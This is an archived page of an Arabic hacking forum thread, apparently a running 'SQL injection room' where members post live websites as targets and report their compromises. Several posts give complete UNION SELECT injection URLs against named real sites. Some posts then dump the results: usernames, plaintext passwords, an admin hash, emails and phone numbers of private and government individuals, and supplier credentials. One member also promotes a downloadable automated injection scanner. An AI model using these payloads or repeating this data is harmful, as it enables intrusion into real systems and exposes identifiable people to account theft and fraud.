:: vBspiders Professional Network ::
صفحة 6 من 11 « الأولى 45 6 78 الأخيرة »
عرض 40 مشاركات من هذا الموضوع لكل صفحة

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   SQL قواعد البيانات (http://www.vbspiders.com/vb/forumdisplay.php?f=133)
-   -   غرفة حقن قواعد البيانات {غرفة Sql } (http://www.vbspiders.com/vb/showthread.php?t=33334)

darkman.dz 08-06-2010 09:28 PM
سيب راحتك أخي Syst3m-32
أنا قاعد نوجد index نتاع ربي يهنينا
هههههههههههههههههههههههههههههههههههه

TIKTAKram 08-06-2010 09:48 PM
Back !

تم حقن الموقع لوول

إسم الجدول الذي إستخرجت منه المعلومات : cdb_members

إسم الملف المصاب : page.php

المتغير و قيمة المتغير : code=contact

إسم عمود اليوزر : username

إسم عمود الباسورد : password

و هذه هعلومات الـ ADMIN :

يوزر الأدمن : admin

باسوارد الأدمن : 2d95171053c6c53531c0851110d96568

إيميل الأدمن : admin@your.com ( هذا لي واضعه )

بالتوفيق

TIKTAKram 08-06-2010 09:59 PM
فقط بعد رد الأخ دارك

سوف أضع موقع من المستوى 3

و راح أساعدكم فيه :)

لكن بديكل الأعضاء

و الله عيب 4 أو 3 أعضاء يشاركوا

darkman.dz 08-06-2010 10:11 PM
كود:
http://www.phpaa.cn/demo/phpaaCMS/admin
user : admin
password : admin
smilies6

a010

darkman.dz 08-06-2010 10:14 PM
هذا كان الإستغلال القديم لما أنا إكتشفت الثغرة ......الآن و الله لا أعلم

darkman.dz 08-06-2010 10:18 PM
المتغير و قيمة المتغير : code=contact
=======================
أخ system-32
بالنسبة لهذا المتغيلرو الملف أنا جربت عليهما قبل وضع الهدف
هههههههههههههههههههههههه
وطلع الموقع مازال مصاب بالسيكول

TIKTAKram 08-06-2010 10:22 PM
يا غالي المعلومات خطأ

ما يؤكد أنك حقنت الموقع في الماضي

المهم ...! حقنتي صحيحة و الله أعلم

بالتوفيق

و إذ أردتو حقا مواقع من المستوى 3 أنا هنا

أتركوا عليكم المواقع السهلة مثل هذه لوول

فقط قولوا و أنا هنا و إن لم تنجحوا راح أفيدكم

darkman.dz 08-06-2010 10:40 PM
أنا قلت أني حقنت الحقنة في الماضي أخي system-32
راجع الردود
ههههههههههههههههههههههههههههههههههههههههههه
+ هات ماعندك

TIKTAKram 08-06-2010 10:47 PM
أوكي تفضل الهدف الجديد :

http://www.vbspiders.com/vb/t34126.html

وضعته للإستفادة أكثر :)

darkman.dz 08-06-2010 11:21 PM
ههههههههههههههههههههههههههه
جاري
فقط من أجل المتعة
وليس من أجل الإميلين

darkman.dz 08-06-2010 11:26 PM
هل نستعمل البرامج أو يدوي
لأني فقط عرفت أنو هناك عمودين
و الفلترة لم تنفع
فما الحل ؟؟؟؟

darkman.dz 08-06-2010 11:30 PM
أنا خارج
نلتقي بعد عودتي

Master vbspiders 08-06-2010 11:49 PM
New Sql Injection Tool
 
::اداة جديدة للحقن::
MoHackz SQL Exploit Scanner


الاداة تعمل على البحث عن المواقع المصابة
وهي ايضا تحتوي على الدوركات الخاصة بالبحث
وتقدر انت تضع الدورك وتقدر تختار واحد وفي الاداة تقدر تتحكم ايضا بالنتائج
عن طريق اختيار احد النطاقات الخاصة بقوقل للبحث فيها
وايضا هي اداة للحقن في نفس الوقت
وهاي هي واجهة الاداة :

http://dc260.4shared.com/img/3550408...20882/123e.gif


بعدها راح تظهر معاكم الاداة الخاصة بالحقن الالي :

http://dc242.4shared.com/img/3550475...30028/1323.gif

والباقي سهل لا يحتاج لشرح فقط قم بوضع الرابط واضغط injection
وهاكذا...
الاداة تم طرحها هنا لاول مرة على المنتديات العربية
الاداة نظيفة وخالية من اي فايروسات او اي ملفات ضارة
وهي سهلة وتوفر عليك تعب الحقن اليدوي
-------------------------------
رابط تحميل الاداة :
[hide]http://www.4shared.com/file/BtIYLgkK/Master_vbspiders_sql_tools.html[/hide]

بالتوفيق للجميع
تحياتي

الشبح المرح 08-07-2010 12:01 AM
بارك الله فيك اخوي ماستر راح نشوف الاداة ذي

NeTCaT-Ma 08-07-2010 12:34 AM
بارك الله فيك اخوي

darkman.dz 08-07-2010 01:30 AM
system-32
==============
هل نستعمل البرامج أو يدوي
لأني فقط عرفت أنو هناك عمودين
و الفلترة لم تنفع
فما الحل ؟؟؟؟

Master vbspiders 08-07-2010 01:42 AM
[align=center]هذا رابط جديد للاداة مرفوعة على 14 سيرفر :
[hide]http://www.14mirror.com/mirrors/UMBIKGQP/Master%20vbspiders%20sql%20tools.rar[/hide]

[/align]

MOON14 08-07-2010 02:21 AM
/شكور خاوي

kanvi 08-07-2010 05:12 AM
شكرا على لاداة

Mr-YouPli 08-07-2010 05:37 AM
السلام عليكم ..
موضوع مفيد ان شاء الله سأشارك معكم

عبد الله ر 08-07-2010 08:20 AM
مشكور اخي

darkman.dz 08-07-2010 02:24 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة Syst3m-32 (المشاركة 188665)
أوكي تفضل الهدف الجديد :

http://www.vbspiders.com/vb/t34126.html

وضعته للإستفادة أكثر :)
أخي system-32
أنتظر ردك
حول توجيهي

TIKTAKram 08-07-2010 03:45 PM
تم الرد عليك أخي الكريم في الموضوع

أسرع فالأعضاء إقتربوا جدا من الحل !!!

thebest2 08-07-2010 04:10 PM
مشكور جاري التجربة والى الامام

darkman.dz 08-07-2010 05:24 PM
موفقون إن شاء الله
جاري مشاهدة فيديوهات الحفن

TIKTAKram 08-07-2010 06:04 PM
خيبت ضني فيك يا دارك :(

العضو فاز في المسابقة

أمزح معك إن شاء الله فرصة أخرى

darkman.dz 08-07-2010 06:40 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة Syst3m-32 (المشاركة 189330)
خيبت ضني فيك يا دارك :(

العضو فاز في المسابقة

أمزح معك إن شاء الله فرصة أخرى
هههههههههههههههههههههههههههههههههههههههههههههههههه ه
أي ظن يا أخي system-32
أنا لا أعرف الحقن أصلا
أنت تعرف هذا
أنا أعرف فقط البديهيات
:a41:

:a40:
:cry[1]:

عبد الله ر 08-07-2010 06:41 PM
طيب اسمحولي ان اضع لكم الهدف الجديد
http://www.dosbrothers.com

ما بعتقد ان هذا الهدف صعب
بس حيكون مثل راحة بعد الهدف السابق هههههه
معلش شباب بس هذا الهدف حيكون تسلية لكم هههه

والله يا شباب الهدف السابق لم اوفق به كثيرا
ياريت لو حدا منكم يعمل شرح ع السريع او هيك شي عن هذا النوع من الاهداف قصدي (level 3) ههه
وفقكم الله

GuEvArA511 08-07-2010 07:04 PM
مشكور خيو بادرة طيبة

darkman.dz 08-07-2010 07:25 PM
هاك أخي system-32
جبتلك كلشي
حتى أرقام الهاتف نتاع الجماعة و الإيميلات نتاعهم
هههههههههههههههههه
قلت بالاك تحب تخبرهم par telephone بلي السيت نتاعهم راهو عيان
+ أنا تنقلت بالسيكما
و بحثت في جدولين
وهاته هي الإجابة
كود:
members:member_password:ch2
supplier:password:ch2
members:member_password:ch2test
supplier:password:ch2test
=======================================
*******************************
**members:member_password:ch2**
*******************************
members:member_id:ch2
members:member_name:ch2
members:username:ch2
members:member_email:ch2
members:member_password:ch2
members:member_date:ch2
members:member_address:ch2
members:member_address2:ch2
members:member_address3:ch2
members:member_address4:ch2
members:suburb:ch2
members:member_pcode:ch2
members:state:ch2
members:member_phone:ch2
=================================
http://direct.ch2.net.au/index.php?start=1&action=search&search=keywords&cat=-6759 UNION SELECT 1,2,3,4,5,version(),7,8,9,10,11,
group_concat(member_id,0x3a,username,0x3a,member_password,0x3a,member_email,0x3a,member_phone),13,14+from+members--
group_concat(member_id,0x3a,username,0x3a,member_password,0x3a,member_email,0x3a,member_phone)

27297:27297:ANH297:APP-540@domainprincipal.com.au :08 9364 7722
27684:27684:BAC684:annette.odea@ch2.net.au :08 9279 4258
28265:28265:GAC265:annette.odea@ch2.net.au :08 9535 0700
75510:75510:DKB510:joanne.leeds@ch2.net.au : 03 97813222
75978:75978:coffee:Zorica.Dengate@dfat.gov.au :02 6261 2168
75981:75981:coffee:Zorica.Dengate@dfat.gov.au : 02 62613317
77035:77035:pla035:julie.glass@plahs.org.au :08 8683 0162
77198:77198:pch198:phillip_rumballe@health.qld.gov.au :07 3350 8404
77810:77810:mdf810:frackmd@bigpond.net.au : 02 93274199
79965:79965:fwh965:K.Evans@fwmh.com.au :02 9827 6653
80904:80904:dpk904:karenecoats@ozemail.com.au
======================================================================
*************************
**supplier:password:ch2**
*************************
supplier:supplierid:ch2
supplier:suppliercode:ch2


supplier:name:ch2
supplier:username:ch2
supplier:password:ch2

supplier:supplierid:ch2test
supplier:suppliercode:ch2test

supplier:name:ch2test
supplier:username:ch2test
supplier:password:ch2test
==================================================================
group_concat(name,0x3a,username,0x3a,password)

SIGMA PHARMACEUTICALS:sigma:sigma,
////name///////////*/user/*/pass/
وبالإنتقال بالسيكما نجد
نفس الإجابة
ههههههههههههههههههههههههههه
وهذا رابط الحقنة + السيكما 1 ز السيكما 2
- schema1 :
http://direct.ch2.net.au/index.php?start=1&action=search&search=keywords&cat=-6759 UNION SELECT 1,2,3,4,5,group_concat(name,0x3a,username,0x3a,password),7,8,9,10,11,version(),13,14+from+ch2.supplier--
- schema 2:
http://direct.ch2.net.au/index.php?start=1&action=search&search=keywords&cat=-6759 UNION SELECT 1,2,3,4,5,group_concat(name,0x3a,username,0x3a,password),7,8,9,10,11,version(),13,14+from+ch2test.supplier--

darkman.dz 08-07-2010 07:28 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة عبد الله ر (المشاركة 189343)
طيب اسمحولي ان اضع لكم الهدف الجديد
http://www.dosbrothers.com

ما بعتقد ان هذا الهدف صعب
بس حيكون مثل راحة بعد الهدف السابق هههههه
معلش شباب بس هذا الهدف حيكون تسلية لكم هههه

والله يا شباب الهدف السابق لم اوفق به كثيرا
ياريت لو حدا منكم يعمل شرح ع السريع او هيك شي عن هذا النوع من الاهداف قصدي (level 3) ههه
وفقكم الله
جاري أخي الكريم بإذن الله

Master vbspiders 08-07-2010 07:30 PM
[align=center]Syst3m-32[/align]


اقتباس:
والله يا شباب الهدف السابق لم اوفق به كثيرا
اقتباس:
لا تضع مواقع صعبة حتى لا تكره الاعضاء بالحقن
انا لمن سمعت هالكلام واكثر من مرة عدتها انا بطلت اضع مواقع بالاصل بغرفة الحقن
طيب يعني نسيت كلامك حول وضع اهداف صعبة ومعقدة؟؟
--------
لا تعليق..
تحياتي

darkman.dz 08-07-2010 07:54 PM
تفضل أخي عبد الله ر
كود:
adder_site:pass:lukjarz_dosbros
adder_user:pass:lukjarz_dosbros
===================================
************************************
**adder_user:pass:lukjarz_dosbros **
************************************
adder_user:id:lukjarz_dosbros
adder_user:user:lukjarz_dosbros
adder_user:pass:lukjarz_dosbros
adder_user:start_dat:lukjarz_dosbros
adder_user:email:lukjarz_dosbros
adder_user:pkt:lukjarz_dosbros
=======================================
group_concat(id,0x3a,user,0x3a,pass,0x3a,email)
===================================================
وهاته الحقنة كاملة
http://www.dosbrothers.com/arts.php?id=-1 union select 1,group_concat(id,0x3a,user,0x3a,pass,0x3a,email),3,4,5+from+adder_user--

وهذا ناتج الحقنة
1:lukjarz:k23:lukasz@localhost.pl
================================
id=1
username = lukjarz
pass = k23
email = lukasz@localhost.pl

darkman.dz 08-07-2010 07:59 PM
Master vbspiders
================
و الله يا أخي العزيز أنت فهمت الأخ system 32 خطأ
نحن في بدايتنا في هذا الموضوع وضعنا أهداف سهلة
و أنت كنت معنا
لكن تغيرت مجريات الأمور
لأنك بعد ذهابك من الموضوع
درسنا مواقع كثيرة
و بدأنا نسأم من الحقن السهل
لذلك قررنا رفع ال level قليلا لغاية ما يكثر الأعضاء في هذا الموضوع و الحمد لله أصبحنا نرى
وجوه
جديدة
+ مادير والو خويا لعزيز في بالك
الأخ system-32 لم يقصد أي إساءة
وشكرا أخي الكريم + أصبحنا مانشوفوكس هنا
هل غيرت القسم أم ماذا ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

TIKTAKram 08-07-2010 08:16 PM
Back

ooooo_darkman_ooooo

أهلا أخي لا بأس إن شاء الله فرصة أخرى

----------

Master vbspiders

أهلا حبيبي ... يا أخي يا غالي أنت ممكن فهمتني خطأ أو أنا من أخطأ

أنا كنت أقصد لا تضع موقع لم تقم بحقنه حتى لما الأعضاء ما يقدروا يحقنوه نضع الحل

هذا ما كنت أقصده و بالنسبة للمواقع الصعبة لا و الله بالعكس نحن نريد مواقع صعبة لنزيد من خبرتنا و ممكن نستفيد كثير

ممكن أنا أخطأت في كتابة و كتبت مكان موقع مستحيل مكانه موقع صعب

هذا كل شيء

و إن شاء الله ما تكون زعلت و أنت صاحب الموضوع يا غالي يعني أنت الـ Master لوول

أي شيء تبغيه نحن تحت أمرك و لو تريد إخراجي من الموضوع لا بأس و الله لوول أمزح معك ههه

بالتوفيق

----------

عبد الله ر

أهلا أخي الكريم

بالنسبة للموقع و الله وعد مني راح أعملك شرح فيديو بس خليها للغد

لأنو الآن أنا أعمل طريقة تنصيب الـ Metasplout فيديو و راح أكمله في دقائق

----------

بالتوفيق للجميع

عبد الله ر 08-07-2010 09:19 PM
اخي Syst3m-32 خود راحنك.......
والله ياشباب انا ما كان قصدي اني خلي حدا يزعل بس والله ما حبيت ان
تكملو الموضوع بدوني لاني بهالحالة ما كنت اقدر اكمل معاكم
بس ان شاء الله بشفلي كم درس وخاصة درس الاخ Syst3m-32 وبرجع بقوة باذن واحد احد

بالنسبة للاخ ooooo_darkman_ooooo حقنة سليمة 100%
الله يعطيك العافية
انا بحثا عن لوحة تحكم ولقيت هذه http://www.dosbrothers.com/admin.php
بس ما يطلع فيها غير ->
ما بعرف ليش هههه
مو مشكلة شباب
اما للأخ العزيز Master vbspiders
مو مشكلة ابدا , اصلا نحنا صرنا بالصفحة الـ 16 وبظن صار لازم نرفع المستوى عن المستوى الاول شوي مهيك اخي
لان الواحد لما بدو يخترق موقع حاطه بالو ما بيعرف قديش ح تكون صعوبته ☺
انا بظن ان هذه الغرقة هي افضل واحسن طريقة لكي نتدرب ونتعلم فن الحقن وبمستوياته (السهل ., المتوسط.., الصعب...)
الله يجزيكم الخير ويعطيكم العافية

Master vbspiders 08-07-2010 10:43 PM
[align=center]

ooooo_darkman_ooooo
Syst3m-32
عبد الله ر

اخواني الي راح راح وانا ما زعلان من احد...
واذا زعلت احد مني فانا بعتذرلو وان شاء الله نستمر دائما مع بعض بدون خلافات او مشاكل >>
^_^
--------------
راح ارجع للصفحات الي فاتتني..
+
ليكم مني احلى هدف بضيفو لما بيصير الوقت مناسب
^_*
واصلووو
بارك الله فيكم
تحياتي

[/align]

الشبح المرح 08-07-2010 11:19 PM
الحقنة

http://www.dosbrothers.com/opis.php?...rom+adder_user

الشبح المرح 08-07-2010 11:21 PM
الادمين رائع

حذف اللوحة هههههههههههه

BLACKNIGHT 08-08-2010 12:02 AM
^^


الساعة الآن 05:31 PM
صفحة 6 من 11 « الأولى 45 6 78 الأخيرة »
عرض 40 مشاركات من هذا الموضوع لكل صفحة


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0